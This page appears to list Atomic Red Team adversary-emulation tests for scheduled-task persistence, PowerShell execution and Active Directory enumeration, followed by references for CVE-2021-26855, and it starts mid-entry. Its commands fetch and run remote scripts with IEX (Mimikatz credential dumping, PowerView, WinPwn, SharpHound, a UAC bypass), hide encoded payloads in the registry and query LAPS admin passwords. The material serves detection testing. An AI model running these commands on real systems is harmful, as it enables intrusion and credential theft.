$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell
Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...
Command (CMD)
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged
Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged
Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command (CMD)
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1053.005 Scheduled Task Startup Script Windows CMD Privileged
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command (CMD)
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
T1053.005 Scheduled task Local Windows CMD
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (CMD)
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
T1053.005 Scheduled task Remote Windows CMD Privileged
Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command (CMD)
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
T1053.005 Task Scheduler via VBA Windows PowerShell
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell)
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell)
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD)
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows CMD Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (CMD)
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell)
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell)
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD)
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell)
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell)
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell)
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD)
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell)
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell)
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell)
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1087.002 Account Enumeration with LDAPDomainDump Linux Shell
This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002 Active Directory Domain Search Linux Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002 Adfind -Listing password policy Windows CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002 Automated AD Recon (ADRecon) Windows PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (7)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-26855
portal.msrc.microsoft.com
GitHub CVE x_refsource_MISC
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/161846/Microsoft-Exchange-2019-SSRF-Arbitrary-File-Write.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/161938/Microsoft-Exchange-ProxyLogon-Remote-Code-Execution.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/162610/Microsoft-Exchange-2019-Unauthenticated-Email-Download.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/162736/Microsoft-Exchange-ProxyLogon-Collector.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-26855